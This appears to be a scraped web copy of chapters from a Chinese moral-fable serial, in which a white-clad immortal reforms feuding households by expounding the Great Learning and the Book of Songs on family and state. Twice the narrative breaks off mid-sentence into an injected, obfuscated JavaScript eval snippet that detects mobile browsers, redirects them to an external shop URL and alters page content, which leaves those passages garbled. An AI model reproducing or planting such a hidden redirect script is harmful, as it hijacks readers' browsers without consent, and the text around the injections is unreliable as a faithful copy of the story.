“镜无妖,是父心偏。”来人叹,“亲爱之,则见其美不见其恶。今子行凶,员外不惩反护,是辟也。辟则家不齐,家不齐则祸将至。” 引至田间,被踏农人卧病,妻儿啜泣。来人问:“若有人踏员外祖坟,员外当如何?” 赵员外语塞。来人指赵宠:“子之过,父之惰。今不教,他日必成大祸。”又取赵宠幼时襁褓,“昔者怀抱,望其成龙;今者纵容,任其为虫。员外之爱,是爱是害?” 赵员外泣下,遂缚子谢罪,赔田医伤。是夜,“亲爱”碑血渍渐淡。来人教“矫爱法”:爱子当知子恶,严教方是真慈。赵员外设“家训堂”,赵宠日诵《弟子规》,三月后,骄纵稍敛。 二、 贱恶而辟谳(钱掌柜) 钱掌柜娶妻柳氏,貌丑而贤。钱掌柜厌之,动辄叱骂“丑妇”,甚者鞭笞。柳氏忍泣,操持家务如故。昨日,钱掌柜宴客,柳氏奉茶稍迟,掌柜当众掌掴,客皆掩面。 来人引钱掌柜至“贱恶”碑前。碑苔青黑,触之湿滑,如泪渍。钱掌柜缩手。 “贱恶而辟,人之陋习。然过则偏,偏则暴。”来人问,“掌柜可知‘恶而知其美者,天下鲜矣’?” 钱掌柜嗤道:“丑妇何美?” “面丑而心美,孰美孰丑?”来人取清水一盆,令钱掌柜自照。水中倒影,面目竟渐扭曲,狰狞如鬼。钱掌柜骇然。 “水无妖,是心丑映面。”来人叹,“贱恶之,则见其恶不见其美。今妻虽丑,然勤勉持家,夜纺昼炊,何罪之有?掌柜但见其貌,不见其德,是辟也。辟则家不和,家不和则业不兴。” 引至厨下,柳氏正带伤炊饭,额有血痕。来人问:“掌柜可曾为妻敷药?” 钱掌柜默然。来人取柳氏所纺布:“此布细密匀实,可见其心;所烹羹:‘此羹味厚情浓,可见其勤。’丑在外,美在内。掌柜以外貌贱恶,是目盲也。” 钱掌柜惭,遂揖妻谢罪。是夜,“贱恶”碑苔色渐褪。来人教“去恶法”:见人当观其心,莫以貌取。钱掌柜自此敬妻,家业反旺。人问其故,答:“家和万事兴。” 三、 畏敬而辟谳(孙乡绅) 孙乡绅之父孙太公,年七旬,刚愎自用。去年强令改河道,毁邻田,乡人怨。孙乡绅畏父,不敢谏。昨日,太公欲伐村口古槐建祠堂,乡绅知槐有灵,仍唯唯。 来人引孙乡绅至“畏敬”碑前。碑裂如龟纹,以手触之,簌簌落屑。孙乡绅颤。 “畏敬而辟,人之常礼。然过则偏,偏则愚。”来人问,“乡绅可知‘父有过,子当几谏’?” 孙乡绅嗫嚅:“父命难违…” “违命不孝,顺过亦不孝。”来人取竹尺,折之有声,“尺有度,谏有方。今父有过,子不谏,是陷父于不义,岂是真孝?” 引至村口,古槐参天,数人合抱。太公正督工伐树。来人问太公:“公可知此槐龄几何?” “约二百年。” “二百年来,此槐荫庇多少行人?乡人祭拜多少代?公为一祠,毁百年灵物,忍乎?” 太公语塞。来人又谓孙乡绅:“畏敬非盲从,敬其德,谏其过。今公畏父而不敢言,是辟也。辟则家不直,家不直则德不立。” 孙乡绅跪泣陈谏。太公悟,止伐槐,另择地建祠。是夜,“畏敬”碑裂痕渐合。来人教“善谏法”:谏亲当婉,然不可不谏。孙乡绅自此遇父过必婉言,太公反赞“吾有诤子”。 四、 哀矜而辟谳(李庄主) 李庄主有弟李二,游手好闲,常偷邻鸡。邻告,庄主哀其幼失怙,不忍责,反赔钱了事。李二愈肆,昨日竟盗祠堂祭器,庄主仍隐忍。 来人引李庄主至“哀矜”碑前。碑色惨白,如丧布。李庄主抚之,手觉阴寒。 “哀矜而辟,人之仁心。然过则偏,偏则纵。”来人问,“庄主可知‘慈悲生祸害’?” 李庄主叹:“吾弟失教,吾之过也…” “知过而纵过,是过上加过。”来人取祭器被盗之箱,箱中空,唯余一纸,上书“兄纵我盗”。李庄主色变。 “哀矜之,则怜其不幸,忘其可恶。今弟为盗,兄不惩,是爱之,是害之?他日若犯大罪,兄可能代刑?” 引至祠堂,列祖牌位森然。来人问:“祖宗在上,见子弟为盗,当喜当怒?” 李庄主伏地涕泣。来人曰:“哀矜当有度,惩恶亦是扬善。今不惩弟,是毁弟一生。”又取家法竹板,“小惩大诫,方是真仁。” 李庄主遂缚弟于祠堂,自执家法,杖二十,令其对祖悔过。是夜,“哀矜”碑色转温。来人教“中惩法”:惩恶为爱,纵恶为害。李二自此改过,后成家立业,每言“非兄当年严惩,吾已陷囹圄”。 五、 敖惰而辟谳(周院君) 周院君有仆阿勤,勤勉忠厚。院君视若草芥,动辄叱骂,月钱常扣。阿勤母病,求预支工钱,院君斥“贱奴刁诈”。昨日,阿勤扫地拾金镯,呈上,院君反疑其偷藏一只。 来人引周院君至“敖惰”碑前。碑体倾斜,以手扶之,摇摇欲坠。周院君退。 “敖惰而辟,人之傲慢。然过则偏,偏则昏。”来人问,“院君可知‘仆虽贱,亦有心’?” 周院君冷笑:“奴仆如犬马,何须以心待?” “犬马劳苦,尚需草料;仆役勤勉,岂可寒心?”来人取金镯一对,置日光下,“此镯本一对,院君何以疑仆藏一?” “贱奴见财,岂不贪?” “贪者不还,还者不贪。”来人唤阿勤,阿勤跪呈账册,上记“某年某月,拾钱一贯奉还;某年某月,拾衣归主…”竟有十余条。周院君赧然。 “敖惰之,则轻其劳,疑其诚。今仆勤勉,主不赏;仆拾金,主反疑。是辟也。辟则家不聚,家不聚则人尽散。” 引至仆舍,阿勤母卧病草铺,药炉冷寂。来人问:“院君可曾探视?” 周院君默然。来人叹:“主仆虽有分,人心皆是肉。今日寒仆心,他日谁效力?”又取院君所弃残羹,“此羹尚温,可暖仆心;此言如冰,可寒仆志。院君择焉。” 周院君惭,遂延医治仆母,加阿勤月钱,更以金镯赐之。是夜,“敖惰”碑渐正。来人教“待下法”:待下以宽,宽则得众。周家自此仆役尽心,家业更盛。 六、 齐家会 五户悔改,聚于五辟碑前。来人指碑上“五辟”: “亲爱、贱恶、畏敬、哀矜、敖惰,五者皆心之偏。心偏则身不修,身不修则家不齐。故好而知其恶,恶而知其美者,天下鲜矣!今五子各执一偏,故家宅不宁。” 赵员外问:“何以去偏?” “去偏在明心。”来人取五面铜镜,分予五人,“对镜自照,可见己偏:赵员外镜中溺子,钱掌柜镜中叱妻,孙乡绅镜中畏父,李庄主镜中纵弟,周院君镜中傲仆。知偏方能纠偏。” 又引至村中“齐家堂”,堂悬古联:“修身正心,齐家治国”。来人曰:“身不修,不可以齐其家。五子之病,皆在身不修:心偏则行偏,行偏则家乱。今当修身以正心,正心以齐家。” 遂教“齐家法”:每日晨昏,对镜自省“我今日可有五辟”?有则记之,明日改之。又立“家会”,五家每月一会,互指偏失,共勉共进。 三月后,五辟碑异象全消:血渍苔痕尽褪,裂痕白迹皆平,倾斜之碑自立。村人奇之,来人曰:“非碑变,是人心正,映碑亦正。” 七、 苗硕谳 端阳日,齐家庄办“齐家宴”,五户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童诵《齐家谣》: “齐家先要修自身, 五辟除去家自宁。 一辟亲爱子成恶, 二辟贱恶妻寒心。 三辟畏敬父有过, 四辟哀矜弟纵淫。 五辟敖惰仆离散, 去偏守中家道兴。 好而知恶恶知美, 人莫知其子之愆。 莫不知其苗之硕, 修身齐家要分明。” 书生恍然。是夜,宿村中,梦来人踏月而至,以木剑点其额:“子有亲爱,偏宠幼妹;有贱恶,厌弃丑仆;有畏敬,盲从师长;有哀矜,姑息同窗;有敖惰,轻视农夫。五辟俱全,何以齐家?” 书生惊寤,汗透重衣。翌日,修书归家,善待仆婢,劝谏师长,规诫同窗,敬重农人。后中进士,治家有方。 村口五辟碑,后人以琉璃罩护,碑文常新。有家主不修者临碑,碑面自现“亲爱”“贱恶”等字警示。人传:“此乃白衣仙人所留齐家鉴也。” 本章诫世 一、 五辟之偏 - 人之其所亲爱而辟焉,之其所贱恶而辟焉,之其所畏敬而辟焉,之其所哀矜而辟焉,之其所敖惰而辟焉 - 破解法:待人接物,自问是否“偏”——亲爱是否失察?贱恶是否失公?畏敬是否失谏?哀矜是否失度?敖惰是否失礼? 二、 好恶之明 - 好而知其恶,恶而知其美者,天下鲜矣 - 惕世:多少人“爱之欲其生,恶之欲其死”?多少不公源于好恶之偏? - 反思:我对所爱,可知其恶?对所恶,可知其美? 三、 齐家之本 - 身不修不可以齐其家 - 深层隐喻:五辟是心偏,心偏则身不修,身不修则家不齐 - 终极指向:齐家在修身,修身在正心。去五辟,存中正,家自齐 齐家偈: 齐家庄里五户偏,亲爱贱恶各蔽天。 赵氏溺子不知恶,钱氏贱妻不见贤。 孙氏畏敬父有过,李氏哀矜弟纵愆。 周氏敖惰仆心寒,五辟不除家难圆。 白衣点破齐家道,去偏守中镜高悬。 至今五辟碑犹在,照见人心正与偏。 后世叹: 齐家先要修自身,五辟缠心家不宁。 亲爱贱恶畏敬偏,哀矜敖惰亦是病。 好而知恶恶知美,人鲜能此行难能。 人莫知其子之恶,苗硕不知贪心萦。 五户当初迷五辟,白衣指点家道兴。 正是: 齐家在修身在心,五辟除去家自宁。 亲爱贱恶畏敬偏,哀矜敖惰亦是病。 好而知恶恶知美,人鲜能此行难能。 人莫知其子之恶,苗硕不知贪心萦。 五辟碑前五户讼,白衣指点齐家经。 73.治国谳 楔子·三家城 潞水之北有山城名“三家城”,因城中三族鼎立得名:东城郑氏,诗礼传家,然家规苛酷,父子相疑;西城卫氏,武功起家,然兄弟阋墙,刀兵相向;北城沈氏,商贾世家,然主仆离心,欺诈成风。三族内不修,外施仁义,皆以“礼义之家”自诩,然城内民风日下,盗贼蜂起。 城中有“齐家台”,台立古碑,刻《大学》章句:“一家仁,一国兴仁;一家让,一国兴让;一人贪戾,一国作乱。其机如此…”年久碑残,字迹漫灭。三族长老尝会盟于此,然各怀私心,盟约虚设。 是岁仲秋,齐家台忽现异象:碑上“仁”字渗血,“让”字生霉,“贪戾”二字竟如炭书,灼灼欲燃。三族家主登台观碑,皆心惊肉跳。 八月十五,城中秋会,演古戏《尧舜桀纣》。正演至“桀纣帅暴”一节,忽闻戏台顶棚“哗啦”裂响——那悬吊“日月星辰”的机关索架忽散,数十木偶如雨坠落,却有一人自那“日轮”道具中飘然降下,足踏坠偶,如踏浮萍,旋身落于台心。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,只透出两点寒星般的眸光;着一身云纹素罗深衣,衣摆以银丝绣着疏疏的松针纹,行动时松针仿佛临风微动。外罩一件无袖素纱氅衣,氅角缀七枚玉珏,珏珏相叩却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如老松年轮,似蕴沧桑。足踏素锦登云履,履尖微翘,不染尘泥。 身形清挺,立于坠落的木偶之间,帷笠轻纱与戏台幔帐同飘,竟似从日月轮中化出的神人。台下观者骇然,分不清是戏是真。 来人木剑轻点台板,声如古磬: “一家仁,一国兴仁!” 又点: “一家让,一国兴让!” 再点: “一人贪戾,一国作乱!” 诵罢,木剑遥指齐家台:“三家族长,可愿登台观碑?” 郑、卫、沈三公面面相觑。来人飘然下台,衣袂如流云舒卷:“某有三桩‘治国’公案,可请三公分观。观毕,再论齐家。” 一、 不教而教谳(郑氏) 郑氏七世诗礼,家规三百条。然父苛子,子疑父。家主郑公训子,动辄家法,长子郑谦年三十,见父如鼠见猫。昨日,郑谦私售祖田济友,郑公知之,鞭笞三十,囚于祠堂。然郑公自身,却暗纳贿赂,干预讼事。 来人引郑公至齐家台“仁”字碑前。碑文渗血,以指拭之,黏腻如涕。郑公蹙眉。 “其家不可教而能教人者,无之。”来人问,“郑公教子以严,可曾教己以仁?” 郑公赧然:“治家当严…” “严以待子,宽以待己,是教乎?是伪乎?”来人取郑氏家规册,翻至“孝悌”篇,“家规三百,子犯一条,鞭三十;公犯几何?” 郑公汗出。来人又取诉状一卷:“公纳贿枉法,可合家规?” “此…此乃外事。” “内不修,外岂能正?”来人叹,“孝者,所以事君也。今子畏父如虎,他日事君,必谄或叛。悌者,所以事长也。今兄弟相疑,他日事长,必嫉或欺。慈者,所以使众也。今父不慈,他日使众,必苛或贪。家不可教,何以教人?” 引至祠堂,郑谦囚于祖牌前,背脊血痕斑斑。来人问:“子售田济友,可是仁心?” 郑公默然。来人曰:“父苛子,子行善。是子合仁,父悖仁。一家不仁,一国岂兴仁?” 郑公惭,释子谢过,自陈其罪于祠堂。是夜,“仁”字碑血渍渐淡。来人教“身教法”:有诸己而后求诸人。郑公自此修身,家规自守,郑谦亦诚服。半年后,郑氏父子共设义塾,教化乡里。 二、 贪戾作乱谳(卫氏) 卫氏以武传家,兄弟五人,分掌五房。然长房夺产,二房霸市,三房欺邻,四房虐仆,五房游荡。昨日,为争祖传宝刀,兄弟械斗,伤者七八。家主卫公年迈,不能制,唯顿杖哀叹。 来人引卫公至“贪戾”碑前。二字如炭火,触之灼手。卫公缩臂。 “一人贪戾,一国作乱。”来人问,“卫公可知‘其机如此’?” 卫公叹:“孽子不肖…” “子不肖,父之过。”来人取宝刀,拔之,寒光凛冽,“刀本御外,今戕兄弟。是刀之过,是人之过?” “人之过。” “人何以过?” 卫公语塞。来人曰:“贪戾之机,始于一家。兄贪弟产,弟戾兄财,贪戾相生,乱由此起。今兄弟阋墙,他日若掌兵,必致国乱。一家不让,一国岂兴让?” 引至演武场,五房子弟犹持械对峙。来人取木剑,点地画圈,径三丈:“入此圈者,可诉其冤。” 长房入:“吾为长子,当得宝刀!” 二房入:“吾掌家业,刀当属我!” 三房、四房、五房各执一词。来人笑:“刀只一柄,人有五房。分之,不足;夺之,相残。何如?” 五人默然。来人曰:“尧舜帅天下以仁,而民从之;桀纣帅天下以暴,而民从之。今卫公治家以暴,子弟岂不从暴?其所令反其所好,而民不从。公好宝刀,子弟岂不好?” 遂教“让法”:兄弟抓阄轮掌宝刀,一年一易。又立“家会”,每月一聚,有争则让。卫公老泪纵横:“吾不肖,致家如此。”自此修身,兄弟渐和。是夜,“贪戾”二字火色渐熄。后人见卫氏子弟,皆谦让有礼。 三、 不恕喻人谳(沈氏) 沈氏为商,仆佣百余。然主苛仆,仆欺主。家主沈公,外施粥药,内扣工钱;管家沈富,明做假账,暗吞货银;仆役阿忠,面恭背谩,偷卖货物。昨日,沈公查账见亏空,鞭挞众仆,然自身挪用巨资购玉玩,人皆敢怒不敢言。 来人引沈公至“让”字碑前。碑生青霉,触之滑腻。沈公拭手。 “所藏乎身不恕,而能喻诸人者,未之有也。”来人问,“沈公苛仆,可曾恕己?” 沈公强辩:“仆役奸猾…” “仆奸,主之镜也。”来人取沈公所购玉玩,“此玉值千金,可抵仆役十年工。公玩玉而仆啖糠,公心安否?” 又取假账册:“管家做假,是欺主;主扣工钱,是欺仆。欺欺相生,何日可止?一家离心,一国岂同心?” 引至货仓,阿忠正偷米,被执。沈公怒欲鞭,来人止之,问阿忠:“何以偷米?” “老母病,工钱被扣…” 沈公赧然。来人叹:“如保赤子。心诚求之,虽不中不远矣。未有学养子而后嫁者也!今公待仆,可如保赤子?心不诚,求亦枉然。” 又谓众仆:“主不恕,仆岂忠?然仆欺主,亦是不义。上下相欺,家业必颓。” 沈公泣,悉补工钱,赦仆罪,自毁玉玩以充公。管家阿富亦悔,吐赃谢罪。来人教“恕道”:己所不欲,勿施于人。沈氏自此主仆同心,生意兴隆。是夜,“让”字碑霉迹渐褪。沈公设“恕堂”,每月主仆同席,有困共济。 四、 成教于国谳 三族悔改,聚于齐家台。来人指碑上残文: “君子不出家而成教于国。今三族内不修,而欲教化乡里,是缘木求鱼。故治国在齐其家,齐家在修其身。” 郑公问:“吾等皆治家,何以城乱如故?” “家未齐也。”来人取铜镜三面,分照三族:郑氏镜中,父执鞭,子瑟缩;卫氏镜中,兄持刀,弟染血;沈氏镜中,主捧玉,仆啖糠。“内不修,外饰仁义,是伪也。伪能久乎?” 又引三公登台望城:街有乞丐,巷有盗贼,市有欺诈。来人叹:“一家不仁,一城不仁;一家不让,一城不让;一家贪戾,一城贪戾。其机如此。今三族为城中望,族风即城风。族内不和,城岂能治?” 遂教“齐家治国法”:三族盟誓,各修其家,并以家法化民。郑氏开义塾,教孝悌;卫氏设巡防,止械斗;沈氏平物价,济贫弱。三月后,城风渐淳。 五、 帅民以仁谳 腊月祭灶,三家城办“仁让会”,三族共祭。忽有流民涌城,饥寒交迫。守城兵欲驱之,三公议于齐家台。 郑公曰:“《康诰》云‘如保赤子’,当纳之。” 卫公曰:“然粮少民多,奈何?” 沈公曰:“吾出储粮,共济。” 正议间,忽闻祭坛方向传来清越钟鸣——那口重达千斤的古钟无人自响,声震全城。钟声余韵中,一道白影自古钟顶端的蒲牢钮中飘然而出,如烟如雾,凝实为人。 来人帷笠素纱,白衣胜雪,木剑悬腰,立在钟楼飞檐之上,衣袂与钟声共振。 “善哉!三公已悟齐家治国之道。”来人朗声道,“尧舜帅天下以仁,而民从之。今三公能以仁待流民,是身修家齐之效也。” 飞身而下,如白鹤掠地,点尘不惊。取木剑划地为图:“流民三百,可分置三族厢房;郑氏出塾师,教童子;卫氏出丁壮,维秩序;沈氏出货殖,供衣食。一家仁,一国兴仁;一家让,一国兴让。今三族仁让,全城岂不仁让?” 三公从之。流民得安,城中富户感召,亦开仓施粥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091288|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一月后,流民归乡,临行拜城:“三家城仁让之风,吾等永铭。” 是夜,齐家台碑文复明:“仁”“让”二字光华流转,“贪戾”二字化为“恕”字。全城欢庆,来人却悄然登台,取木剑刻碑阴: “治国必先齐其家, 其家不教人何嗟? 孝悌慈恕身内修, 不出家门教化遐。 一家仁让国兴仁, 一人贪戾乱如麻。 尧舜帅仁民从仁, 桀纣帅暴民从邪。 有诸己后求诸人, 所藏不恕焉能化? 三族当初迷此理, 碑前点破治国芽。” 刻毕,木剑归鞘。三公拜问:“先生将去,何以长治?” 来人指心:“治国在齐家,齐家在修身,修身在正心。心正,则身修;身修,则家齐;家齐,则国治。机在此处,何需外求?” 言罢,纵身跃上钟楼,足尖一点蒲牢钮,身形如白虹贯月,消失在夜空中。众人仰观,唯见星河耿耿,钟声悠悠。 尾声治国谣 十年后,三家城改名“仁让城”。三族并为一宗,共推贤主。城设“齐家堂”,堂悬古训:“君子不出家而成教于国”。童蒙入学,先诵此章。 有使臣过境,见路不拾遗,问:“此城何以治?” 老者答:“家齐国自治。” “何以齐家?” 童子诵《治国谣》: “治国先要齐其家, 家不教人焉教化? 孝可事君悌事长, 慈能使众如保娃。 一家仁让国兴仁, 一人贪戾乱如麻。 尧舜帅仁民从仁, 桀纣帅暴民从邪。 有诸己后求诸人, 不恕焉能喻人呀? 三族当初迷此理, 白衣指点治国芽。” 使臣叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子治一县,可曾齐家?可孝父母?可悌兄弟?可慈仆役?有诸己而后求诸人,无诸己而后非诸人。子可做到?” 使臣惊寤,汗透重衣。翌日,辞官归乡,先治其家。三年后,复出为官,治县有方,民颂“齐家县令”。 城中齐家台,后人建亭护碑,亭名“成教亭”。有家主不齐者登台,碑面自现家事警句。人传:“此乃白衣仙人所留治国鉴也。” 本章诫世 一、 家教国治 - 其家不可教而能教人者,无之。故君子不出家而成教于国 - 破解法:欲治外,先治内;欲教人,先教家。自问:我之家可教否?我可为家人典范否? 二、 仁让贪戾 - 一家仁,一国兴仁;一家让,一国兴让;一人贪戾,一国作乱。其机如此 - 惕世:多少人口言仁义,家宅不宁?多少人苛责外人,纵容至亲?一家不治,何以治国? - 反思:我家是仁是戾?我身是贪是让? 三、 帅民以仁 - 尧、舜帅天下以仁,而民从之;桀、纣帅天下以暴,而民从之。其所令反其所好,而民不从 - 深层隐喻:上行下效,如风偃草。家主教仁,子弟从仁;家主行暴,子弟从暴 - 终极指向:君子有诸己而后求诸人,无诸己而后非诸人。所藏乎身不恕,而能喻诸人者,未之有也 治国偈: 三家城里三族争,内不修兮外饰文。 郑氏苛亲子相疑,卫氏贪戾兄弟阋。 沈氏不恕主仆离,三家不齐国不宁。 白衣点破齐家道,治国先从家门兴。 一家仁让国兴仁,一人贪戾乱机生。 有诸己后求诸人,不恕焉能化万民? 后世叹: 治国必先齐其家,其家不教人何嗟? 孝悌慈恕身内修,不出家门教化遐。 一家仁让国兴仁,一人贪戾乱如麻。 尧舜帅仁民从仁,有诸己后求诸他。 三族当初迷此理,白衣碑前指正路。 正是: 治国必先齐其家,家不教人焉教化? 孝可事君悌事长,慈能使众如保娃。 一家仁让国兴仁,一人贪戾乱如麻。 尧舜帅仁民从仁,桀纣帅暴民从邪。 有诸己后求诸人,不恕焉能喻人呀? 三家城前三族讼,白衣指点治国法。 74.宜家谳 楔子·三诗壁 沅水之阴有古城名“宜家堡”,堡中“三诗壁”名闻遐迩。壁上刻《诗经》三章:左刻“桃之夭夭,其叶蓁蓁。之子于归,宜其家人”;中刻“宜兄宜弟”;右刻“其仪不忒,正是四国”。笔力遒劲,相传乃前代大儒以剑锋镌刻,喻“宜家、宜兄弟、仪正”三义。 然百年风雨,壁石剥蚀。堡中三大家族:秦氏女眷不谐,婆媳相嫉;楚氏兄弟阋墙,嫡庶相争;齐氏父子乖舛,教令相悖。三家皆“家不宜而欲教人”,然各以诗礼之家自居,堡中风气日漓。 是年惊蛰,三诗壁忽现异象:“宜其家人”四字桃花绽放,花瓣却无风自落;“宜兄宜弟”四字松枝虬结,松针却焦黄萎地;“其仪不忒”四字龟甲纹理,纹路却错乱纵横。三姓家主观壁,各自心惊。 三月三,上巳节,堡中演古乐《桃夭》。正奏至“宜其家人”乐章,忽闻主琴“琤”一声裂帛之音——那架百年桐木古琴,第七弦应声而断,断弦未落,却自琴腹中飘出一缕白烟,烟散处,一人按弦而立。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,只透出两点寒潭般的眸光;着一身云纹素罗深衣,衣摆以银丝绣着疏疏的竹节纹,行动时节节分明,似有清风拂过。外罩一件无袖素纱氅衣,氅角缀七枚玉环,环环相扣却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如老竹新篁,蕴藏生机。足踏素锦步云履,履尖微翘,不染尘埃。 身形清癯,立于断弦古琴之侧,帷笠轻纱与乐工衣袂同飘,竟似从琴韵中化出的仙客。台下观者愕然,分不清是乐是幻。 来人以木剑轻拨断弦,声如裂玉: “宜其家人,而后可以教国人!” 又拨: “宜兄宜弟,而后可以教国人!” 再拨: “其仪不忒,正是四国!” 诵罢,木剑遥指三诗壁:“三姓家主,可愿对壁自观?” 秦、楚、齐三公相顾愕然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘宜家’公案,可请三公分观。观毕,再论齐家治国。” 一、 宜其家人谳(秦氏) 秦氏三世同堂,然家宅不宁。婆周氏,性苛严,媳赵氏,性倔强,十年龃龉。昨日,赵氏奉羹稍烫,周氏掷碗叱骂“毒妇”,赵氏顶撞“老悖”,周氏气厥。家主秦公(周氏子)责妻不孝,赵氏泣归娘家。堡中传为笑谈。 来人引秦公至“宜其家人”壁前。壁桃灼灼,花瓣纷落,触手冰凉。秦公蹙眉。 “桃之夭夭,其叶蓁蓁。之子于归,宜其家人。”来人问,“秦家桃花可夭?枝叶可蓁?家人可宜?” 秦公赧然:“家门不幸…” “家不宜,岂能教人?”来人取秦氏家谱,翻至“妇德”篇,“谱载‘孝悌传家’,今母不慈,媳不孝,是传家,是败家?” 秦公汗出。来人又引至秦宅,但见庭树枯半,井台生苔。指枯树问:“此树何以半荣半枯?” “此…不知。” “根同枝异,是水土不均;家同人异,是恩义不周。”来人叹,“婆媳如水火,子是薪。薪添火,则水沸;薪添水,则火灭。今公责妻不责母,是添薪于火,岂能息争?” 又取壁上桃花一朵,置秦公掌心:“花落,因根伤。家不和,因情薄。婆苛媳,是母不慈;媳逆婆,是妇不孝。然公为子为夫,可曾调和?” 秦公默然。来人曰:“宜其家人,而后可以教国人。今家人不宜,而欲教化堡中,是桃无叶而求实,可得乎?” 遂引秦公至岳家,亲迎赵氏归。又劝周氏:“《诗》云‘宜其家人’,非独媳宜婆,亦婆宜媳。母慈媳孝,家乃宜。”周氏惭,赵氏亦悔。三月后,秦宅桃树复荣,庭井水甘。堡中传颂“秦家婆媳和”,竟有邻家效法。 二、 宜兄宜弟谳(楚氏) 楚氏兄弟三人,嫡长子楚伯掌家,次子楚仲掌田,庶出三子楚叔掌商。然伯疑仲贪田租,仲疑叔匿商利,叔怨伯苛嫡庶。昨日,为分祖传玉璧,兄弟于祠堂争执,玉璧坠地,裂为三块。老父楚公卧床,闻之呕血。 来人引楚伯至“宜兄宜弟”壁前。壁松虬结,松针焦黄,触之即碎。楚伯色变。 “宜兄宜弟,而后可以教国人。”来人问,“楚家兄弟可宜?” 楚伯强道:“庶弟不逊…” “兄不友,弟岂恭?”来人拾碎璧,拼之不全,“璧本完璧,分则碎。家本同根,争则裂。今兄弟阋墙,老父呕血,是宜家,是毁家?” 又引至楚宅祠堂,见祖宗牌位蒙尘,香火冷寂。来人问:“列祖在上,见子孙争产,当喜当悲?” 楚伯垂首。来人曰:“《诗》云‘宜兄宜弟’,非独弟宜兄,亦兄宜弟。兄友弟恭,家乃宜。今伯疑仲,仲防叔,叔怨伯,是兄弟相戕,何宜之有?” 取壁上松针,折之脆响:“松本长青,针焦则枯。家本兴旺,争则衰。公为嫡长,可曾让弟?” 楚伯赧然。来人召楚仲、楚叔至,问:“三兄弟,孰为手足?” 三人皆默。来人取三杯,注水,分递三人:“此水同源,如尔等同父。今分饮之,可觉味异?” 三人饮,皆摇头。来人曰:“水同源则同味,人同根则同心。今为一璧,裂手足情,愚乎?璧可再得,情裂难续。” 三兄弟泣,遂合碎璧,重铸香炉,誓不再争。老父楚公闻之,病愈大半。来人教“宜兄弟法”:每月朔望,兄弟共餐,有福同享,有难同当。半年后,楚氏兄弟合营,家业倍增。堡中传为美谈。 三、 其仪不忒谳(齐氏) 齐氏父子,父严子逆。父齐公,苛礼法,行止必循古制;子齐郎,慕新学,举止常逾规矩。昨日祭祖,齐郎未着礼服,齐公杖之三十。齐郎怒曰:“腐儒!”离家出走。齐公气病,犹叱“逆子”。 来人引齐公至“其仪不忒”壁前。壁纹错乱,以手抚之,凹凸如怒涛。齐公缩手。 “其仪不忒,正是四国。”来人问,“齐家仪容可忒?” 齐公咳道:“逆子坏礼…” “礼为情设,情失礼何存?”来人取齐氏家礼册,厚三寸,“礼三百,可有一条言‘父慈子孝’之本?” 齐公语塞。来人叹:“仪不忒,在心意诚,非在形迹苛。今公苛礼服而失子心,是重形轻质,何仪之有?” 引至齐宅书房,见齐郎留下书札:“父以礼缚我,如囚困笼。礼岂杀人乎?”齐公睹之,手颤。 来人曰:“其为父子兄弟足法,而后民法之也。今父子相悖,何以法堡中?公欲子循礼,当先以慈感;子欲父开明,当先以孝动。两不相让,则家崩。” 又取壁上龟甲纹,示齐公:“纹本有序,乱则凶。家本有伦,悖则危。公守古礼,是善;然不达权变,是迂。子慕新学,是进;然不敬父命,是傲。各执一偏,家何以宜?” 齐公老泪纵横,遣仆寻子。三日后,齐郎归,跪泣认错。来人教“仪变法”:礼以时为大。齐公删家礼之苛,齐郎遵人子之孝。父子共撰《新礼》一卷,堡中争抄。后人赞“齐氏父子,礼法维新”。 四、 民法之谳 三姓和洽,聚于三诗壁前。壁花重绽,松针转翠,龟甲复正。堡民奇之,来人曰:“非壁变,是人心和,映壁亦和。” 秦公问:“吾三家已和,然堡中犹有斗讼,何以教化?” 来人指壁诗:“宜其家人,而后可以教国人。今三家宜,可作表率。”遂召堡民聚壁下,令三公自述家事。 秦公述婆媳和:“昔者母苛媳犟,家如冰窖;今者母慈媳孝,室如春台。桃之夭夭,其叶蓁蓁,家宜则人和。” 楚伯述兄弟宜:“昔者兄弟争璧,璧裂父病;今者兄弟同心,业兴父康。宜兄宜弟,而后可以教国人。” 齐公述父子正:“昔者父子相悖,离家散情;今者父子相谅,礼法维新。其仪不忒,正是四国。” 堡民闻之,有感泣者。有邻家婆媳不睦者,羞赧而退;有兄弟争产者,携手而归;有父子相悖者,揖让而返。三月间,堡中讼事减半。 来人教“宜家化民法”:择堡中贤者,立“宜家会”,每月望日,聚于三诗壁下,述家事,劝和睦。又立“宜家榜”,张榜彰善。堡风渐淳。 五、 正是四国谳 端阳佳节,宜家堡办“宜家祭”,三姓共主祭。忽有外堡流言:“宜家堡伪善,内里龃龉。”堡民愤,欲辩。来人止之,召三姓家主并堡中耆老,会于三诗壁下。 是日,祭典方启,主祭人正吟《桃夭》诗,忽闻祭坛中央那尊三足青铜大鼎发出“嗡”然长鸣——鼎内本焚着香檀,此刻青烟缭绕,竟自鼎腹中凝出一道人形,由虚化实,踏烟而下。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于鼎沿之上,衣袂与青烟共舞。 